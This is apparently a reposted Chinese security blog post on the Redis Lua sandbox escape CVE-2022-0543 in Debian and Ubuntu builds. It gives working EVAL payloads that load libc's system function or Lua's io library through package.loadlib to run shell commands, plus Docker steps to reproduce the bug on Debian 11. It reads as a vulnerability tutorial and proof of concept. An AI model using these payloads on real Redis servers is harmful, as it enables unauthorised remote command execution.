文章总结: 文章介绍了利用CVE-2022-0543漏洞绕过RedisLua沙盒执行命令的方法。该漏洞源于Debian和Ubuntu在打包Redis时将Lua解释器作为动态链接库加载,导致本应禁用的package库可用。通过package.loadlib函数加载外部库如libc.so.6或liblua5.1.so.0,可调用system函数或获取io库实现RCE。文章提供了具体的利用代码和基于Debian11的复现步骤,包括Docker环境搭建和redis-cli命令执行。 综合评分: 75 文章分类: 漏洞分析,渗透测试,漏洞POC,实战经验
通过 Redis 的 Lua 引擎突破沙盒执行命令
IceCliffs IceCliffs
Gh0xE9
2026年3月25日 13:27 福建
水一篇,不是什么很新的东西,但最近在XX的时候想要恶心一下别人,简单重温一下,思路很简单,我们都知道 Redis 是一门非关系型数据库,主要为键值存储,但是很少有人知道 Lua 还能用来执行一些 Lua 脚本代码
image-20260320191847086
官方仓库:https://github.com/redis/redis
常见的指令有这几个
- • EVAL,直接执行 Lua 脚本
- • EVALSHA,根据脚本的 SHA1 教研来执行
- • SCRIPT LOAD,托管脚本,将脚本加载到 Redis 缓存中,但不立即执行,返回 SHA1
- • SCRIPT EXISTS sha1,检查某个 SHA1 对应的脚本是否已经在缓存里
- • SCRIPT FLUSH,清空所有的 Lua 脚本缓存(但是,在生产环境中执行这个会直接导致所有依赖 EVALSHA 的业务瞬间崩溃)
- • SCRIPT KILL,杀死正在运行的长耗时脚本
- • redis.call()
- • redis.pcall()
正常来说,我们可以这样子执行
eval '任意表达式' 0
image-20260320192446529
系统就会解析 lua 代码来执行任意代码,比如我们可以尝试一下 lua 命令执行(这里默认是禁用了 os 和 io 库),所以执行 eval 'return io.popen("whoami;id")' 0,会报错
image-20260320192646588
那么有没有啥版本可以绕过这个限制呢?答案是利用 CVE-2022-0543 这个沙盒逃逸漏洞,简单来说,它的根源不在于 Redis 本身,而在于 Debian 及 Ubuntu 等发行版在打包 Redis 时,为了减小体积,将 Lua 解释器作为一个动态链接库(Shared Library)加载,这导致了一个致命问题,在正常的 Redis Lua 沙箱中,原本应该被禁用的 package 库(它可以加载外部库并执行代码)在某些环境下是可用的
先来看看利用的 exp
EVAL 'local os_execute = package.loadlib("/lib/x86_64-linux-gnu/libc.so.6", "system"); os_execute("whoami > /tmp/out");' 0
可以借助 loadlib 函数来动态加载链接库,例如加载 /usr/lib/x86_64-linux-gnu/liblua5.1.so.0 里面的 luaopen_io 函数,从而获得 io 库来执行任意命令
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
这样子就能达到 RCE 的目的,我们启动一个 Debian 11,然后装上 Redis,早期的 Redis Server是受到影响的,启动环境复现
docker pull docker.m.daocloud.io/library/debian:11
apt update
apt install -y redis-server
find /lib -name "libc.so.6"
redis-server --daemonize yes
image-20260320225724438
接着执行
redis-cli
eval 'local os_execute = package.loadlib("/lib/aarch64-linux-gnu/libc.so.6", "system"); os_execute("whoami;id"); return 1' 0
如果用高版本 Redis 执行则会显示
image-20260320223135514
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Gh0xE9 IceCliffs IceCliffs《通过 Redis 的 Lua 引擎突破沙盒执行命令》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论